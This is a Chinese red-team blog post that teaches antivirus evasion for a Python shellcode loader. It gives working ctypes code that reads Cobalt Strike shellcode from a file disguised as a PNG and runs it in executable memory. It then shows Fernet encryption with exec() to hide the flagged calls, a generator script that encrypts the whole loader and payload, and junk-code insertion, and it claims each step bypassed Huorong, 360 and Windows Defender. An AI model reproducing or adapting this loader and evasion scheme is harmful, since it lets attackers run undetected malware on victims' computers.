1. 首页
  2. 红队技术

【免杀】一种python动态加密免杀方式

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

一种python动态加密免杀方式
【免杀】一种python动态加密免杀方式

laotie233

1简介

一种python动态加密免杀方式,过火绒、360windowsdefender

2正文

从分离免杀讲起

分离免杀比如说在CS生成了一个exe,可执行文件里面就包含了shellcodeshellcodeloader

免杀无非就是让shellcodeshellcodeloader都不会被杀毒软件检测到

CS默认生成shellcode特征较为明显,杀软一定是要报毒,所以将shellcode分离,对其进行加密等免杀处理,防止被静态扫描到特征

一个python加载器

下面具体举例一个python分离加载的例子

import ctypesf=open('demo.png','rb')shellcode=f.read()shellcode=bytearray(shellcode)#设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64#申请内存ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))#放入shellcodebuf=(ctypes.c_char *len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(   ctypes.c_uint64(ptr),   buf,   ctypes.c_int(len(shellcode)))#创建一个线程从shellcode放置位置首地址开始执行handle=ctypes.windll.kernel32.CreateThread(   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.c_uint64(ptr),   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.pointer(ctypes.c_int(0)))#等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

上面为烂大街的代码,一定过不了免杀的,今天就这里开始一步一步过掉defender

【免杀】一种python动态加密免杀方式

前置基础

  • exec()执行储存在字符串或文件中的 Python 语句,相比于evalexec可以执行更复杂的 Python 代码

  • cryptography.fernet提供python加密lib

>>>fromcryptography.fernet importFernet>>>#Put this somewhere safe!>>>key =Fernet.generate_key()>>>f =Fernet(key)>>>token =f.encrypt(b"Areally secret message. Not for prying eyes.")>>>token'...'>>>f.decrypt(token)'Areally secret message. Not for prying eyes.'

寻找免杀的语句

既然免杀杀的的一个程序,程序又是一条一条的控制指令,代码层面也就是一行一行的代码,那么到底是哪一行被ban掉,我们可以通过一行一行进行注释进行测试

  • 以火绒为例子进行测试

经过一步一步的注释代码,最后注释完成的代码如下

importctypes

f=open('demo.png','rb')shellcode=f.read()shellcode=bytearray(shellcode)#设置VirtualAlloc返回类型为ctypes.c_uint64#ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64#申请内存ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))#放入shellcodebuf=(ctypes.c_char *len(shellcode)).from_buffer(shellcode)#ctypes.windll.kernel32.RtlMoveMemory(#    ctypes.c_uint64(ptr),#    buf,#    ctypes.c_int(len(shellcode))#)#创建一个线程从shellcode放置位置首地址开始执行#handle = ctypes.windll.kernel32.CreateThread(#    ctypes.c_int(0),#    ctypes.c_int(0),#    ctypes.c_uint64(ptr),#    ctypes.c_int(0),#    ctypes.c_int(0),#    ctypes.pointer(ctypes.c_int(0))#)handle=0#等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

【免杀】一种python动态加密免杀方式

  • 也就是说会被杀毒干掉的代码,整理如下

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
ctypes.windll.kernel32.RtlMoveMemory(    ctypes.c_uint64(ptr),    buf,    ctypes.c_int(len(shellcode)))
handle=ctypes.windll.kernel32.CreateThread(   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.c_uint64(ptr),   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.pointer(ctypes.c_int(0)))

  • 对三条语句进行fernet加密+ eval测试

  • 简单写个脚本

from cryptography.fernet importFernet
#被火绒ban掉的代码ban_code=[b'''ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64''',b'''ctypes.windll.kernel32.RtlMoveMemory(   ctypes.c_uint64(ptr),   buf,   ctypes.c_int(len(shellcode)))''',b'''handle= ctypes.windll.kernel32.CreateThread(   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.c_uint64(ptr),   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.pointer(ctypes.c_int(0)))'''           ]
forcode inban_code:   key =Fernet.generate_key()   f =Fernet(key)   enc_pay =f.encrypt(bytes(code))   output_key ="key= {0}".format(key)   print(output_key)   print("f_obj= Fernet(key)")   output_enc_pay ="enc_pay= {0}".format(enc_pay)   print(output_enc_pay)   print("exec(f_obj.decrypt(enc_pay))")   print("========================================")C:myAntiViruspython_fernet_AVvenvScriptspython.exeC:/my/AntiVirus/python_fernet_AV/pass_huorong_fernet_test.pykey=b'9O0kemh7b14TE08uoxOQahV9iaszy8BOvWCQXn1sAsM='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQpQQhm89YIText7z5FgH-tLhTbDMmDMt3sBl9jUR0S0QX2NBFYCsmNw01Dk7ZPCgnC6TbwgAbK9H2N7f27DHcAqdEHhhaA8_GpXD_IrCO54w2yKHjeRnvSO34XBaz0TIeOprX5nm0ss8gXIyuVylepw=='exec(f_obj.decrypt(enc_pay))========================================key=b'RMiuR9vyJ_EZspzBzJ3IXKcAWGNNN1Xdxd8B-BZOPyM='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQCFu_z34aC8D1wugbpwfeFFVELPoSXYuz25Sbj-61Ayuu7G-m8oQ6yekbY50jUCGTmfVDyF6H4ldFgPYLCGwTiZYzusdK9tRoh3HwYYUyDEmS2CHsk9u54hQRM1aeg09TVr_xYJXshCx1sZ3Lx33cJcchhQMIRo1k8GQzIqdiJWwqlidgGK18fEuGfWhy4dj9nqS99Xxqq9beR5BxppIdjA=='exec(f_obj.decrypt(enc_pay))========================================key=b'e9tKPxbu_sE0u2GDqb8Os20fmmaId39hVt52vOkWUVk='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQ9UmOaf1JvCMAozgbIO9YnJYh7lr1YGHHrpwc7B5LsxpBhsAE3hW7rSVtzhb2jluUPO0GnQtUk6UR_soM_RklOC968Y4SmJC2K_4P92TUZ_P7PKmix9mqVBf77biQWwnEjLkuVlBSNIwudHianyahTo3jSsqRj58gT1Az9ihZ1B34vwtYzKMHVD6y5P7hsnHa2UAhMO8KapNJWtEVH9hKkWnBUEwoj50QXP9thZQER8Y9m2X9UATVyySmbuzkVwm8EoWDHZ_-ab9qnnnBsg5MJ6EKdZmarAZMHM8-7juC8YQjTDYe8ydzYnwb9a32gGCiqqIzsEcKBIWXKDheH55LhA=='exec(f_obj.decrypt(enc_pay))========================================
Processfinished with exit code 0

  • 替换后的代码为

importctypesfromcryptography.fernet importFernet
f=open('demo.png','rb')shellcode=f.read()shellcode=bytearray(shellcode)#设置VirtualAlloc返回类型为ctypes.c_uint64key=b'9O0kemh7b14TE08uoxOQahV9iaszy8BOvWCQXn1sAsM='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQpQQhm89YIText7z5FgH-tLhTbDMmDMt3sBl9jUR0S0QX2NBFYCsmNw01Dk7ZPCgnC6TbwgAbK9H2N7f27DHcAqdEHhhaA8_GpXD_IrCO54w2yKHjeRnvSO34XBaz0TIeOprX5nm0ss8gXIyuVylepw=='exec(f_obj.decrypt(enc_pay))#申请内存ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))#放入shellcodebuf=(ctypes.c_char *len(shellcode)).from_buffer(shellcode)key=b'RMiuR9vyJ_EZspzBzJ3IXKcAWGNNN1Xdxd8B-BZOPyM='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQCFu_z34aC8D1wugbpwfeFFVELPoSXYuz25Sbj-61Ayuu7G-m8oQ6yekbY50jUCGTmfVDyF6H4ldFgPYLCGwTiZYzusdK9tRoh3HwYYUyDEmS2CHsk9u54hQRM1aeg09TVr_xYJXshCx1sZ3Lx33cJcchhQMIRo1k8GQzIqdiJWwqlidgGK18fEuGfWhy4dj9nqS99Xxqq9beR5BxppIdjA=='exec(f_obj.decrypt(enc_pay))#创建一个线程从shellcode放置位置首地址开始执行key=b'e9tKPxbu_sE0u2GDqb8Os20fmmaId39hVt52vOkWUVk='f_obj=Fernet(key)enc_pay=b'gAAAAABjOalQ9UmOaf1JvCMAozgbIO9YnJYh7lr1YGHHrpwc7B5LsxpBhsAE3hW7rSVtzhb2jluUPO0GnQtUk6UR_soM_RklOC968Y4SmJC2K_4P92TUZ_P7PKmix9mqVBf77biQWwnEjLkuVlBSNIwudHianyahTo3jSsqRj58gT1Az9ihZ1B34vwtYzKMHVD6y5P7hsnHa2UAhMO8KapNJWtEVH9hKkWnBUEwoj50QXP9thZQER8Y9m2X9UATVyySmbuzkVwm8EoWDHZ_-ab9qnnnBsg5MJ6EKdZmarAZMHM8-7juC8YQjTDYe8ydzYnwb9a32gGCiqqIzsEcKBIWXKDheH55LhA=='exec(f_obj.decrypt(enc_pay))#等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

  • 生成的exe成功绕过火绒

【免杀】一种python动态加密免杀方式

正常上线

【免杀】一种python动态加密免杀方式

  • 同理测试下360

【免杀】一种python动态加密免杀方式

【免杀】一种python动态加密免杀方式

成功上线

  • 继续测试下windows defender

【免杀】一种python动态加密免杀方式

  • 静态扫描失败

深入一下

前文对部分shellloader语句进行fernet加密处理,那么不如所有shellloader语句 和 shellcode进行加密

  • 简单写一下脚本如

#-*- coding:utf-8 -* from cryptography.fernet importFernet 
#生成免杀代码
defender_code=[    #    b'''    #import ctypes    #    ''',    #   #    b'''    #from ctypes import *    #    ''',    #   #    b'''    #from cryptography.fernet import Fernet    #    ''', 
   b'''f= open('demo2.png', 'rb')   ''',
   b'''shellcode= f.read()   ''',
   b'''need_decrypt_shellcode   ''',
   b'''shellcode= bytearray(shellcode)       ''',
   b'''ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64       ''',
   b'''ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),                                         ctypes.c_int(0x40))       ''',
   b'''buf= (ctypes.c_char * len(shellcode)).from_buffer(shellcode)       ''',
   b'''ctypes.windll.kernel32.RtlMoveMemory(   ctypes.c_uint64(ptr),   buf,   ctypes.c_int(len(shellcode)))     ''',
   b'''handle= ctypes.windll.kernel32.CreateThread(   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.c_uint64(ptr),   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.pointer(ctypes.c_int(0)))      ''',
   b'''ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))      ''',]withopen('./test_middle_static.py','w+')asmid_f:    #写入import   mid_f.write("#-*- coding:utf-8 -*")   mid_f.write('n')   mid_f.write("importctypes")   mid_f.write('n')   mid_f.write("fromctypes import *")   mid_f.write('n')   mid_f.write("fromcryptography.fernet import Fernet")   mid_f.write('n')
   forcode indefender_code:        mid_f.write("#{0}".format(code))       mid_f.write('n')       ifcode ==b'''need_decrypt_shellcode   ''':           #shellcode 加密你也可以分离免杀            test_f =open('demo.png','rb')           shellcode =test_f.read()            shellcode =bytearray(shellcode)           #print(shellcode)            test_f.close()            #加密           key =Fernet.generate_key()            f =Fernet(key)            enc_pay =f.encrypt(bytes(shellcode))           print(key)           print("=========")
           #写入shell2.png           test_f =open("./demo2.png","w+")           test_f.write(enc_pay.decode())            test_f.close()            output_key ="key= {0}".format(key)           mid_f.write(output_key)            mid_f.write('n')           mid_f.write("f_obj= Fernet(key)")           mid_f.write('n')           mid_f.write("shellcode= f_obj.decrypt(shellcode)")           mid_f.write('n')           mid_f.write("shellcode= bytearray(shellcode)")           mid_f.write('n')           continue 
       key =Fernet.generate_key()        f =Fernet(key)        enc_pay =f.encrypt(bytes(code))       output_key ="key= {0}".format(key)       mid_f.write(output_key)        mid_f.write('n')       print(output_key)       print("f_obj= Fernet(key)")       mid_f.write("f_obj= Fernet(key)")       mid_f.write('n')       output_enc_pay ="enc_pay= {0}".format(enc_pay)       print(output_enc_pay)       mid_f.write(output_enc_pay)        mid_f.write('n')       print("exec(f_obj.decrypt(enc_pay))")       mid_f.write("exec(f_obj.decrypt(enc_pay))")       mid_f.write('n')       print("========================================")

#pyinstaller -F test_middle_static.py

【免杀】一种python动态加密免杀方式

  • ok, 再次生成相应可执行文件,windows defender静态扫描通过

  • 尝试动态运行

【免杀】一种python动态加密免杀方式

再深入一下

简单总结下,当下的进展

  • 火绒过

  • 360

  • windows defender 静态过,动态GG

动态杀毒的基本原理这里就简单说一下,无非就是程序动态运行时进行监控(程序行为、cpu占用、内存占用等等),其实继续深入绕过defender的思路还会有很多,这里就拿一个花指令举例

  • 花指令,简单来说就是加垃圾代码(排序、编码、深度学习识别等等)

下面是花指令的一些简单代码

#写入花指令   junk_code1 ="""importrandom

def partition(test_arr, low, high):   i = (low - 1)     pivot = test_arr[high]
   for j in range(low, high):       if test_arr[j] <= pivot:           i = i + 1           test_arr[i], test_arr[j] = test_arr[j], test_arr[i]
   test_arr[i + 1], test_arr[high] = test_arr[high], test_arr[i + 1]   return i + 1

def quick_sort(test_arr, low, high):   if low < high:       pi = partition(test_arr, low, high)       quick_sort(test_arr, low, pi - 1)       quick_sort(test_arr, pi + 1, high)

test_arr= []for i in range(59999):   test_arr.append(random.random())n= len(test_arr)quick_sort(test_arr,0, n - 1)   """   junk_code2 ="""import re
re.search('www','www.runoob.com').span()re.search('com','www.runoob.com').span()
line= "Cats are smarter than dogs ok in shakdhaksdas";
searchObj= re.search(r'(.*) are (.*?) .*', line, re.M | re.I)

def double(matched):   value = int(matched.group('value'))   return str(value * 2)

s= 'A23G4HFD567're.sub('(?P<value>d+)',double, s)   """
   junk_code3 ="""import base64
st= 'wo gan jue wo ma shang jiu yao bei defender gan diao a ba a bachonogchong chongcong!'.encode()res= base64.b64encode(st)aaa= res.decode()res= base64.b64decode(res)bbb= res.decode()   """

  • ok 通过花指令的随机加入,成功将defender绕过

【免杀】一种python动态加密免杀方式

【免杀】一种python动态加密免杀方式

3写在最后

免杀学习过程中本身学习的就是一个思路,随着免杀的公开->杀毒的提升,免杀的难度也会随之提升

切记,免杀学的是思路,不是具体的方法,本文的最后一节也只是提供了一个思路。

4关注公众号

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏

原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/7241.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息